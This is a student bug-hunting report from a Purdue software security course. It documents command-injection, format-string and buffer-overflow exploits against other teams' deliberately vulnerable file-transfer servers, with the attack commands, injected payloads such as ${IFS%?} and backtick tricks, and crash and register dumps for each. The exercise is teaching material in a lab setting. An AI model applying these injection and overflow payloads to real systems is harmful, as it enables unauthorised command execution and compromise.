Computer Science Department, Purdue University

Bug-Hunting Report CS527 Project

Anonymous Hax0rz

April 9, 2018

Contents

1 Team 1

1.1 Command Injection

```
xinu21 131 $ cat bin/put-exploit.sh
echo 'cs527{0wn3d}'
xinu21 133 $ bin/client 127.0.0.1 12345
[i] Connecting to 127.0.0.1:12345
login testname
pass testpass
put put-exploit.sh
put $(bash${IFS%?}put-exploit.sh) 30

xinu21 136 $ ls bin/ | grep cs527
cs527{0wn3d}
```

Key: `${IFS%?}` expands to space in bash.

1.2 Format String Exploit

```
std::string msg("=== Running subprocess: " + cmd);
fprintf(stderr, msg.c_str());
```

```
xinu21 172 $ python -c "import sys; print 'login testname'; sys.stdout.
    flush(); print 'pass testpass'; sys.stdout.flush(); print 'put foo.
    txt' + '%x.' * 10 + ' 30'" | ./client xinu21 12345
```

On the server:

```
[128.10.3.71] Received line: put foo.txt%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
    30
 [128.10.3.71]
[response] put port: 58722

=== Running subprocess: sleep 1; nc 128.10.3.71 58722 > foo.txtd8000a00
    .8a.5d.dffff700.e0000b28.dfffee50.d8000a00.5d.5d.0. [128.10.3.71]
[!] Socket disconnected
```

1.3 Buffer Overflow

```
void Client::printMessage(std::string msg) {
    size_t len = strlen(msg.c_str());
    char localLine[len + 1];
    localLine[len] = '\0';
    memcpy(localLine, msg.c_str(), msg.size());

    if (len == 0) {
        return;
    }
    fprintf(stderr, " [%s] %s\n", addr.c_str(), localLine);
}
```

When msg contains `'\0'`, len will be the length of the part before that whereas msg.size() will be the full size.

```
xinu21 377 $ python -c  "print 'A' * 10 + '\0' + 'B' * 1000" | ./client
    127.0.0.1 12345
[i] Connecting to 127.0.0.1:12345
[!] Disconnected from server
```

On the server:

```
*** Segmentation fault
Register dump:
 RAX: 4242424242424252   RBX: 4242424242424242   RCX: 00007ffff6d485c0
 RDX: 00007ffff6d485c0   RSI: 00007ffff0001140   RDI: 4242424242424252
 RBP: 00007ffff6d48240   R8 : ffffffff92b8f60    R9 : ffffffff92b8f50
 R10: ffffffff92b8f40    R11: 00007ffff70f2820   R12: 00007ffff6d481e0
 R13: 000000000000001a   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffff6d481b8

 RIP: 00007ffff7970be0   EFLAGS: 00010202

(gdb) x/20xw $rbp
0x7ffff6f4d240: 0x42424242      0x42424242      0x42424242      0
    x42424242
0x7ffff6f4d250: 0x42424242      0x42424242      0x42424242      0
    x42424242
0x7ffff6f4d260: 0x42424242      0x42424242      0x42424242      0
    x42424242
0x7ffff6f4d270: 0x42424242      0x42424242      0x42424242      0
    x42424242
0x7ffff6f4d280: 0x42424242      0x42424242      0x42424242      0
    x42424242
```

It segfaults during the call to `addr.c_str()` because we have overwritten addr on the stack. We have to pass in the right address to overwrite it with.

1.4 Buffer Overflow

Buffer overflow in CDCommand::executeCommand.

Transfer a text file with a long name and `cd` to it.

```
xinu21 402 $ echo yo boyz I am sing song > $(python -c "print 'foo.txt'
    + 'A' * 230")
```

```
xinu21 431 $ python -c "import sys; import time; print 'login testname';
     sys.stdout.flush(); print 'pass testpass'; sys.stdout.flush(); x = '
    foo.txt' + 'A' * 230; print 'put ' + x + ' 10'"  | ./bin/client
    127.0.0.1 12345
[i] Connecting to 127.0.0.1:12345
put port: 56749
> Listening on port 56749 for file transfer
Accepting connection on port 56749 to allow transfer of file
Done transferring file on port 56749
^C
```

```
xinu21 432 $ python -c "import sys; import time; print 'login testname';
     sys.stdout.flush(); print 'pass testpass'; sys.stdout.flush(); x = '
    foo.txt' + 'A' * 230; print 'cd ' + x"  | ./bin/client 127.0.0.1
    12345
[i] Connecting to 127.0.0.1:12345
[!] Disconnected from server
```

On the server:

```
*** Segmentation fault
Register dump:

 RAX: 00007fadb12b63b0   RBX: 4141414141414141   RCX: 0000000000000026
 RDX: 00007fadac000c80   RSI: 000000000041af6e   RDI: 00007fadb12b617d
 RBP: 4141414141414141   R8 : 0000000000000002   R9 : 00007fadb12b7700
 R10: 4141414141414141   R11: 0000000000000000   R12: 00000000017fc168
 R13: 00007ffdf920be8f   R14: 0000000000800000   R15: 00000000017fc990
 RSP: 00007fadb12b61b8

 RIP: 000000000040b4fe   EFLAGS: 00010202
```

2 Team 2

2.1 Command Injection

Add user to the config file:

```
xinu21 155 $ grep 'user foo' sploit.conf
user foo;wget${IFS%?}google.com pass

xinu21 151 $ ./client xinu21 12345
login $foo;wget${IFS%?}google.com
Message: Please enter the password command

pass $pass
Login Succesful!

whoami
foo
```

On the server:

```
--2018-03-24 02:13:54--  http://google.com/
Resolving google.com (google.com)... 2607:f8b0:4009:802::200e,
    172.217.1.46
Connecting to google.com (google.com)|2607:f8b0:4009:802::200e|:80...
    connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.google.com/ [following]
--2018-03-24 02:13:54--  http://www.google.com/
Resolving www.google.com (www.google.com)... 2607:f8b0:4009:802::2004,
    172.217.1.36
Connecting to www.google.com (www.google.com)|2607:f8b0
    :4009:802::2004|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'

index.html                                    [ <=>
                                                                  ]  12.02K
      --.-KB/s    in 0.006s

2018-03-24 02:13:54 (1.94 MB/s) - 'index.html' saved [12306]
```

2.2 Format String Exploit

```
n = read(sock_id_new,internal,sizeof(internal));
printf(internal);
```

```
$ %x.%x.%x.%x
```

On the server:

```
gRaf7SdxKyMOplJL6e09QZzA2hsnkVv5rGtPbFUDcCiqYTNj38uHmEWw1oXIB4$1ce9fd60
    .64.9d2c7260.0
```

2.3 Buffer Overflow

Write into givenArgs until you overwrite RIP. But argv[i] has to be less than 10 characters.

```
char givenArgs[10];
for(int i=1; i<argc; i++)
{
        if(strlen(argv[i]) < 10)
        {
                sprintf(givenArgs,argv[i]);
```

Note that this is actually a buffer overflow attack. (Also, the format string length here is limited to 9 characters, so that limits the arbitrary write attack.)

```
xinu21 372 $ setarch `uname -m` -R /bin/bash
xinu21 373 $ env - LD_PRELOAD=libSegFault.so ./server $(python -c "print
     '%526\$s.'") $(python -c "print 'A' * 4000")
ERROR: received unexpected arguments
*** Segmentation fault
Register dump:
 RBP: 4141414141414141   R8 : 00007ffff7636780   R9 : 00007ffff7fd8740
```

3 Team 3

3.1 Command Injection

```
$ ./client 127.0.0.1 12345

               [22:21:27]
Server says:
Welcome to my server!

Enter input: ping google.com -c 1; date; echo
PING google.com (172.217.5.14) 56(84) bytes of data.
64 bytes from ord38s19-in-f14.1e100.net (172.217.5.14): icmp_seq=1 ttl
    =53 time=28.8 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 28.813/28.813/28.813/0.000 ms
Wed Mar  7 22:21:40 EST 2018
-c 1
```

Python input works some of the time:

```
xinu21 202 $ python -c "import sys; print 'ping google.com -c 1 && date
    && echo\n\n'; sys.stdout.flush()" | ./client xinu21 12345
Server says:
```

```
Welcome to my server!

PING google.com (172.217.1.46) 56(84) bytes of data.
64 bytes from ord37s07-in-f46.1e100.net (172.217.1.46): icmp_seq=1 ttl
    =52 time=7.06 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 7.069/7.069/7.069/0.000 ms
Sat Mar 24 03:14:23 EDT 2018
-c 1
```

3.1.1 A Different Command Injection

This is a different command injection from the previous one. This exploits

```
else if(strncmp(cmd, "cd", 2) == 0)
{
  if(goodLogin)
  {
    system(cmd);
  }
```

rather than the previous

```
else if(strncmp(cmd, "ping", 4) == 0)
{
  system(strcat(cmd," -c 1"));
}
```

Given how this team's server and client lack other features, please consider giving marks for this backdoor if possible.

```
xinu21 816 $ LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345
Server says:
Welcome to my server!

Enter input: cd .. && ps aux | grep client
leetHaxor  2068  0.0  0.0   8544  1652 pts/1    S+   22:15   0:00 ./
    client 127.0.0.1 12345
leetHaxor  2069  0.0  0.0   6572   780 pts/0    S+   22:15   0:00 sh -c
    cd .. && ps aux | grep client
leetHaxor  2071  0.0  0.0  16288  1040 pts/0    S+   22:15   0:00 grep
    client
```

4 Team 4

4.1 Command Injection

```
xinu21 114 $ python -c "print 'login testname\npass testpass\nls\nping
   google.com\x60touch\${IFS%?}foo.txt\x60\nls'" | cs527proj/client
   xinu21 12345
Sploit Client Starting...
total 10488
-rwxr-x--- 1 leetHaxor leetHaxor 5309544 Mar 23 18:54 client
drwxrwxr-x 2 leetHaxor leetHaxor    4096 Mar 22 17:43 include
-rw-r----- 1 leetHaxor leetHaxor      35 Mar 22 18:09 infile.txt
-rw-r----- 1 leetHaxor leetHaxor    2449 Mar 23 06:47 Makefile
drwxr-x--- 6 leetHaxor leetHaxor    4096 Mar 23 06:02 obj
-rwxr-x--- 1 leetHaxor leetHaxor 5391376 Mar 23 18:54 server
-rw-rw-r-- 1 leetHaxor leetHaxor     319 Mar 23 03:01 sploit.conf
drwxrwxr-x 6 leetHaxor leetHaxor    4096 Mar 22 17:43 src
-rw-r----- 1 leetHaxor leetHaxor    7592 Mar 23 18:28 TAGS

PING google.com (172.217.1.46) 56(84) bytes of data.
64 bytes from ord37s07-in-f46.1e100.net (172.217.1.46): icmp_seq=1 ttl
   =52 time=7.08 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 7.080/7.080/7.080/0.000 ms

total 10488
-rwxr-x--- 1 leetHaxor leetHaxor 5309544 Mar 23 18:54 client
-rw-r----- 1 leetHaxor leetHaxor       0 Mar 23 20:35 foo.txt
drwxrwxr-x 2 leetHaxor leetHaxor    4096 Mar 22 17:43 include
-rw-r----- 1 leetHaxor leetHaxor      35 Mar 22 18:09 infile.txt
-rw-r----- 1 leetHaxor leetHaxor    2449 Mar 23 06:47 Makefile
drwxr-x--- 6 leetHaxor leetHaxor    4096 Mar 23 06:02 obj
-rwxr-x--- 1 leetHaxor leetHaxor 5391376 Mar 23 18:54 server
-rw-rw-r-- 1 leetHaxor leetHaxor     319 Mar 23 03:01 sploit.conf
drwxrwxr-x 6 leetHaxor leetHaxor    4096 Mar 22 17:43 src
-rw-r----- 1 leetHaxor leetHaxor    7592 Mar 23 18:28 TAGS
```

4.2 Format String Exploit

```
xinu21 121 $ echo 'yoboyz' > foo.txt%x.%x.%x.%x; python -c "print 'login
    testname\npass testpass\nls\nput foo.txt%x.%x.%x.%x 6\nls'" |
    cs527proj/client xinu21 12345
Sploit Client Starting...
total 10488
-rwxr-x--- 1 leetHaxor leetHaxor 5309592 Mar 23 20:58 client
-rw-r----- 1 leetHaxor leetHaxor       0 Mar 23 21:00 foo.txt
drwxrwxr-x 2 leetHaxor leetHaxor    4096 Mar 22 17:43 include
-rw-r----- 1 leetHaxor leetHaxor      35 Mar 22 18:09 infile.txt
-rw-r----- 1 leetHaxor leetHaxor    2449 Mar 23 06:47 Makefile
drwxr-x--- 6 leetHaxor leetHaxor    4096 Mar 23 06:02 obj
-rwxr-x--- 1 leetHaxor leetHaxor 5391424 Mar 23 20:58 server
-rw-rw-r-- 1 leetHaxor leetHaxor     319 Mar 23 03:01 sploit.conf
drwxrwxr-x 6 leetHaxor leetHaxor    4096 Mar 22 17:43 src
-rw-r----- 1 leetHaxor leetHaxor    7592 Mar 23 18:28 TAGS

total 10492
-rwxr-x--- 1 leetHaxor leetHaxor 5309592 Mar 23 20:58 client
-rw-r----- 1 leetHaxor leetHaxor       0 Mar 23 21:00 foo.txt
-rw-r----- 1 leetHaxor leetHaxor       6 Mar 23 21:26 foo.txt%x.%x.%x.%x
drwxrwxr-x 2 leetHaxor leetHaxor    4096 Mar 22 17:43 include
-rw-r----- 1 leetHaxor leetHaxor      35 Mar 22 18:09 infile.txt
-rw-r----- 1 leetHaxor leetHaxor    2449 Mar 23 06:47 Makefile
drwxr-x--- 6 leetHaxor leetHaxor    4096 Mar 23 06:02 obj
-rwxr-x--- 1 leetHaxor leetHaxor 5391424 Mar 23 20:58 server
-rw-rw-r-- 1 leetHaxor leetHaxor     319 Mar 23 03:01 sploit.conf
drwxrwxr-x 6 leetHaxor leetHaxor    4096 Mar 22 17:43 src
-rw-r----- 1 leetHaxor leetHaxor    7592 Mar 23 18:28 TAGS

On the server:

/u/antor/u7/leetHaxor/softsec-project-cs527/phase2-projects/team4/
    cs527proj/./foo.txtb8000980.c8cc976d.c65e1700.c65e1700
```

4.3 Buffer Overflow

Write the first 4 bytes of the file to any arbitrary location (using filesize).

```
file.seekg(0);
file.read(&_fpath[filesize], 4);
file.close();
```

Create the file and send the appropriate offset as filesize:

```
python -c "print 'A' * 50" > ../put-exploit.txt
```

```
xinu21 144 $ python -c "print 'login testname\npass testpass\nls\ncd ..\
   nls\nput put-exploit.txt 1048\n'" | cs527proj/client xinu21 12345

0x0000000041414141 in ?? ()
```

4.4 Buffer Overflow

```
char pingcmd[128];
sprintf(pingcmd, "ping %s", host.c_str());
```

Overflow the buffer:

```
xinu21 462 $ python -c "print 'login testname\npass testpass\nping ' +
    'A' * 1000" | ./cs527proj/client xinu21 12345
```

On the server:

```
*** Segmentation fault
Register dump:

 RAX: 00007f223c000ce0   RBX: 4141414141414141   RCX: 00007f223c002900
 RDX: 00007f223c002900   RSI: 00007f2243c65960   RDI: 00007f223c000cf0
 RBP: 4141414141414141   R8 : 0000000007c63440   R9 : 0000000007c63430
 R10: 0000000007c63420   R11: 00007f224488ce70   R12: 4141414141414141
 R13: 00007ffffa9d85bf   R14: 00007f2243c669c0   R15: 0000000000000000
 RSP: 00007f2243c659e8

 RIP: 000000000040b811   EFLAGS: 00010202
```

4.5 Buffer Overflow

```
char c_cmd[128];

sprintf(c_cmd, "cd %s && %s",
                getSession().getCurrentDir().c_str(),
                _cmd.c_str());
```

This will overflow `c_cmd` if the current directory is large enough. Or if you send in arguments to the alias command!

Send in a large argument to an alias command.

```
xinu21 668 $ python -c "print 'login testname\npass testpass\nll ' + 'A'
     * 500" | LD_PRELOAD=libSegFault.so ./client xinu21 12345
```

On the server:

```
xinu21 640 $ LD_PRELOAD=libSegFault.so ./server
Sploit Server Starting...
ls: cannot access '
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ': File name too long
*** Segmentation fault
Register dump:

 RAX: 0000000000000001   RBX: 4141414141414141   RCX: 00007f6ea160f4bd
 RDX: 0000000000000000   RSI: 0000000000000000   RDI: 00007f6e9c000020
 RBP: 4141414141414141   R8 : 00007f6e9c001430   R9 : 0000000000000001
 R10: 0000000000000058   R11: 0000000000000000   R12: 0000000000000000
 R13: 00007ffc7f2bb8ff   R14: 00007f6ea0f2b9c0   R15: 0000000000000000
 RSP: 00007f6ea0f2ad68

 RIP: 000000000040cd52   EFLAGS: 00010202
```

5 Team 5

5.1 Command Injection

```
$ ping google.com -c 1; date; echo
PING google.com (216.58.192.206) 56(84) bytes of data.
64 bytes from ord30s25-in-f206.1e100.net (216.58.192.206): icmp_seq=1
    ttl=53 time=27.0 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 27.022/27.022/27.022/0.000 ms
Wed Mar  7 22:28:08 EST 2018
-c 1

$ ping google.com -c 1; date | grep EST; echo
PING google.com (216.58.192.206) 56(84) bytes of data.
64 bytes from ord30s25-in-f206.1e100.net (216.58.192.206): icmp_seq=1
    ttl=53 time=27.2 ms

--- google.com ping statistics ---
```

```
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 27.260/27.260/27.260/0.000 ms
Wed Mar  7 22:29:35 EST 2018
-c 1
```

FWIW, they also accept extra arguments for alias commands:

```
$ ll ; echo 0wn3d
total 84K
4.0K drwxrwxr-x 3 leetHaxor leetHaxor 4.0K Mar 25 18:27 .
4.0K drwxrwxr-x 4 leetHaxor leetHaxor 4.0K Mar 22 17:43 ..
4.0K drwxrwxr-x 4 leetHaxor leetHaxor 4.0K Mar 22 17:43 files
4.0K -rw-r----- 1 leetHaxor leetHaxor  120 Mar 23 06:47 Makefile
 28K -rwxr-x--- 1 leetHaxor leetHaxor  28K Mar 25 18:27 server
 20K -rw-r----- 1 leetHaxor leetHaxor  20K Mar 25 07:46 server.c
8.0K -rw-r----- 1 leetHaxor leetHaxor 7.2K Mar 25 18:27 server_service.c
4.0K -rw-r----- 1 leetHaxor leetHaxor  319 Mar 25 18:28 sploit.conf
4.0K -rw-rw-r-- 1 leetHaxor leetHaxor  278 Mar 22 17:43 sploit.conf.
   theirs
4.0K -rw-rw-r-- 1 leetHaxor leetHaxor 1.5K Mar 22 17:43 sploit.h
0wn3d
```

5.2 Format String Exploit

rpt_err checks for "%" in the string. But it actually checks only up to a space!

```
//report error
int rpt_err(char *arg){
        char check[50];
        sscanf(arg, "%s", check);
        printf("%s\n", check);
        if(strstr(check, "%")){
                return SYSERR;
        }
        else {
                return OK;
        }
}
```

```
snprintf(err + strlen(err), DATASIZE, command->params);
snprintf(datasend, DATASIZE, err);
```

Send in a format string after a space:

```
xinu21 153 $ python -c "print 'login testname\npass testpass\nget foo '
    + '%x.' * 100" | ./client 127.0.0.1 12345
$ username verified

$ Login authorized.

$ ERROR: No such file-> foo 0.ffff.1.0.0.206f6f66.78252e78.252e7825.2
    e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252
    e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2
    e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252
    e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2
    e78252e.78252e78.252e7825.2e78252e.78252e78.4f525245.7573206f.2
    d656c69.2e30206f.302e312e.36663630.35323837.3235322e.65322e35.372
    e6532.2e383765.35323837.32353238.65323532.37653235.38376532.3238372e
    .35322e38.322e3532.2e653235
    .38376532.32383765.35323837.32353238.65323532.3765322e.38372e65.322
    e3837.2e353238.65323532.37653235.38376532.32383765.35323837.3235322e
    .65322e35.372e6532.2e383765
    .35323837.32353238.65323532.37653235.38376532.3238372e.35322e38.322
    e3532.2e653235.38376532.34323532.30323337.36353664.30336532.3230332e
    .36332e65.332e3033.2e373338.65323233.
```

5.3 Buffer Overflow

```
print_statement(argv[1], port);

void print_statement(char *host_addr, int port){
        char temp[16];
        strcpy(temp, host_addr);
        printf("Attempting a connection to %s:%d .....\n", temp, port);
}
```

```
xinu21 503 $ LD_PRELOAD=libSegFault.so ./client $(python -c "print 'A' *
     1000") 12345
Attempting a connection to
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
*** Segmentation fault
Register dump:

 RAX: 0000000000000410   RBX: 0000000000000000   RCX: 000000007ffffbf6
 RDX: 0000000000000000   RSI: 0000000000000000   RDI: 00007ffff60e3dc0
 RBP: 4141414141414141   R8 : 0000000000000000   R9 : 0000000000000410
 R10: 0000000000000000   R11: 0000000000000246   R12: 0000000000400e10
 R13: 00007ffff60e6db0   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffff60e4318

 RIP: 000000000040191e   EFLAGS: 00010206
```

5.4 Buffer Overflow

```
void handle_help(char *command, int auto_mode, FILE* f_out){
        char cmd[30];
        strcpy(cmd, command);
```

Buffer overflow time!

```
xinu21 505 $ python -c "print 'login testname\npass testpass\nh ' + 'A'
   * 1000" | LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345
$ username verified
$ Login authorized.
$ Available commands are:
...
*** Segmentation fault
Register dump:

 RAX: 000000000000036e   RBX: 0000000000000000   RCX: 000000007ffffc91
 RDX: 0000000000000000   RSI: 0000000000000000   RDI: 00007ffc916d6ad0
 RBP: 4141414141414141   R8 : 0000000000000000   R9 : 000000000000036e
 R10: 000000000000036e   R11: 0000000000000246   R12: 0000000000400e10
 R13: 00007ffc916d9ee0   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffc916d7448

 RIP: 00000000004019d3   EFLAGS: 00010202
```

5.5 Buffer Overflow

```
xinu21 510 $ python -c "print 'login testname\npass testpass\nget ' + 'A
   ' * 100" | LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345
```

On the server:

```
xinu21 412 $ LD_PRELOAD=libSegFault.so ./server
************************************************
*                                              *
*       Vulnerable File Transfer Server!!!     *
*                                              *
```

```
**************************************************

server waiting for connection
server waiting for connection
/homes/leetHaxor/softsec-project-cs527/phase2-projects/team5/CS527/
   server
testname1
user name testname verified
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

*** Segmentation fault
Register dump:

 RAX: 0000000000000001   RBX: 0000000000000008   RCX: 0000000000000000
 RDX: 0000000000000000   RSI: 0000000000000025   RDI: 00007ffcef968980
 RBP: 4141414141414141   R8 : 0000000000000000   R9 : 4141414141414141
 R10: 00000000000006b8   R11: 00007f200cf04ab0   R12: 0000000000401290
 R13: 00007ffcef96d2e0   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffcef968998

 RIP: 0000000000403fa4   EFLAGS: 00010246
```

5.6 Buffer Overflow

Weak attack based on the config:

```
python -c "print 'user ' + 'A' * 1000 + ' pass'" >> sploit.conf
```

```
xinu21 406 $ LD_PRELOAD=libSegFault.so ./server
*** Segmentation fault
Register dump:

 RAX: 00007ffeb43b4730   RBX: 4141414141414141   RCX: 0000000000000000
 RDX: 4141414141414141   RSI: 0000000000000064   RDI: 00007ffeb43b4730
 RBP: 00007ffeb43b4730   R8 : 0000000000000064   R9 : 4141414141414141
 R10: 4141414141414141   R11: 00007f44f4caed08   R12: 0000000000401290
 R13: 00007ffeb43b4e10   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffeb43b4700

 RIP: 00007f44f4b94aee   EFLAGS: 00010206

(gdb) x/20xw $rbp
0x7fffffffe2a0: 0x72657375      0x41414100      0x41414141      0
   x41414141
```

```
0x7fffffffe2b0: 0x41414141      0x41414141      0x41414141      0
   x41414141
0x7fffffffe2c0: 0x41414141      0x41414141      0x41414141      0
   x41414141
0x7fffffffe2d0: 0x41414141      0x41414141      0x41414141      0
   x41414141
0x7fffffffe2e0: 0x41414141      0x41414141      0x41414141      0
   x41414141
```

5.7 Buffer Overflow

```
char port_t[6];
strcpy(port_t, argv[2]);
```

Overflow:

```
xinu21 634 $ LD_PRELOAD=libSegFault.so ./client 127.0.0.1 $(python -c "
   print 'A' * 335")
*************************************************
*                                               *
*       Vulnerable File Transfer System!!!      *
*                                               *
*               Enter h for help                *
*                                               *
*************************************************
*** Segmentation fault
Register dump:

 RAX: 00007fff3b6892e0   RBX: 0000000000000000   RCX: 0000000000000001
 RDX: 4141414141414141   RSI: 4141414141414141   RDI: 00007fff3b6892e0
 RBP: 00007fff3b6892f0   R8 : 0000000000000000   R9 : 1999999999999999
 R10: 0000000000000000   R11: 00007fdd4c2295e0   R12: 0000000000400e10
 R13: 00007fff3b68bd90   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007fff3b6892c8

 RIP: 00007fdd4c157bf7   EFLAGS: 00010287
```

6 Team 6

6.1 Command Injection

```
$: ping `date`
ping: unknown host Wed

$: ping `wget wikipedia.org`
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q
     tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination

# On the server side
--2018-03-07 23:06:17--  http://wikipedia.org/
Resolving wikipedia.org (wikipedia.org)... 208.80.154.224, 2620:0:861:
    ed1a::1
Connecting to wikipedia.org (wikipedia.org)|208.80.154.224|:80...
    connected.
HTTP request sent, awaiting response... 301 TLS Redirect
Location: https://wikipedia.org/ [following]
```

We can run arbitrary commands.

6.2 Format String Exploit

```
xinu21 161 $ python -c "print '%x.' * 100" | bin/client 127.0.0.1 12345
Client: connecting to 127.0.0.1
$: Error: Unknown command: 9239abd8.0.ffff.bb5ac8.9239abc0.9239afe0.9239
    a7c0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.bb59a0.12c.12c.0.9321bbe8.0.9321baf0.
    bb5860.bb598c.bb598d.0.0.0.932227a0.8.bb5860.12d.12d.0.9321bc10
    .6.0.1002.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.9239a408.932227a0
    .0.0.9239a360.932221c0.93222150.93222160.bb5720.12d.12d
    .0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
```

6.3 Buffer Overflow

```
strcpy(send_buf, w_command());
```

Log in with several users:

Example:

```
xinu21 618 $ LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345
Client: connecting to 127.0.0.1
```

```
$: login
   DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

pass pass
w
Enter password, Format: pass $PASSWORD
$: Login successful
$:
   BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

   CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

   DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

$: w
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

   CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

   DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

Last user:

```
xinu21 618 $ LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345
Client: connecting to 127.0.0.1
$: login
   GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG

pass pass
w
Enter password, Format: pass $PASSWORD
$: Login successful
$: Connection closed.
```

On the server:

```
xinu21 627 $ LD_PRELOAD=libSegFault.so ./server
Server: waiting for connections...
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
```

```
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
Server: got connection from 127.0.0.1
send: Bad file descriptor
recv: Bad file descriptor
*** Segmentation fault
Register dump:

 RAX: 0000000000000000   RBX: 00007fc3d859ddb0   RCX: 00007fc3d6b027a8
 RDX: 0000000000000000   RSI: 0000000000406070   RDI: 4545454545454545
 RBP: 00007fc3d6b03000   R8 : 0000000000406070   R9 : 00007fc3d6b02560
 R10: 00007fc3d7e11690   R11: 0000000000405fa2   R12: 0000000000402d50
 R13: 00007ffd48641880   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007fc3d6b02760

 RIP: 00007fc3d7699512   EFLAGS: 00010202
```

Note that RDI was set with '4545454545454545'. So, we can overwrite the right memory addresses with correct choice of the buffer values.

6.4 Buffer Overflow

```
char buffer[MAXLEN];
char * line = NULL;

while ((read = getline(&line, &len, fin)) != -1) {

strcpy(buffer,line);
```

It's time for a buffer overflow!

```
python -c "print 'A' * 2000" >> infile.txt

xinu21 661 $ LD_PRELOAD=libSegFault.so ./client 127.0.0.1 12345 infile.
    txt outfile.txt
send: Bad file descriptor
*** Segmentation fault
Register dump:

 RAX: 00007ffdcb1208f8   RBX: 0000000000000000   RCX: 4141414141414141
 RDX: 000000000000000a   RSI: 00007ffdcb1208f0   RDI: 00007ffdcb1208f8
 RBP: 00007ffdcb120dc0   R8 : 00000000016ba5e0   R9 : 0000000000000000
 R10: 0000000000000013   R11: 0000000000000246   R12: 0000000000401840
 R13: 00007ffdcb120ee0   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffdcb1204a0

 RIP: 00007fa46969f8d4   EFLAGS: 00010206
```

We can see that the file pointer 'FILE * fin;' gets overwritten and so the next call to getline() segfaults:

```
Breakpoint 3, __getline (lineptr=0x7fffffffe358, n=0x7fffffffe350,
    stream=0x4141414141414141) at getline.c:32
```

By adjusting the contents of infile.txt to set fin to an appropriate value, we can make getline() return -1, exit the while loop, and jump to the address written at RIP.

7 Team 7

That's us!

8 Team 8

8.1 Command Injection

Don't even need to inject anything. They allow arbitrary commands.

```
$ xinu21 84 $ python -c "print 'login testname\n\npass testpass\ntouch
    foo.txt\nls\n\nrm foo.txt\nls\n\n'" | ./client 127.0.0.1 12345
Connecting to 127.0.0.1 : 12345
$ $ Welcome!
$ $ client
foo.txt
infile.txt
outfile.txt
server
sploit.conf
$ $ $ client
infile.txt
outfile.txt
server
sploit.conf
```

```
$ $ $ xinu21 80 $ python -c "print 'login testname\n\npass testpass\n\
   nps aux\n\n'" | ./client 127.0.0.1 12345
nnecting to 127.0.0.1 : 12345
$ $ Welcome!

$ $ Welcome!
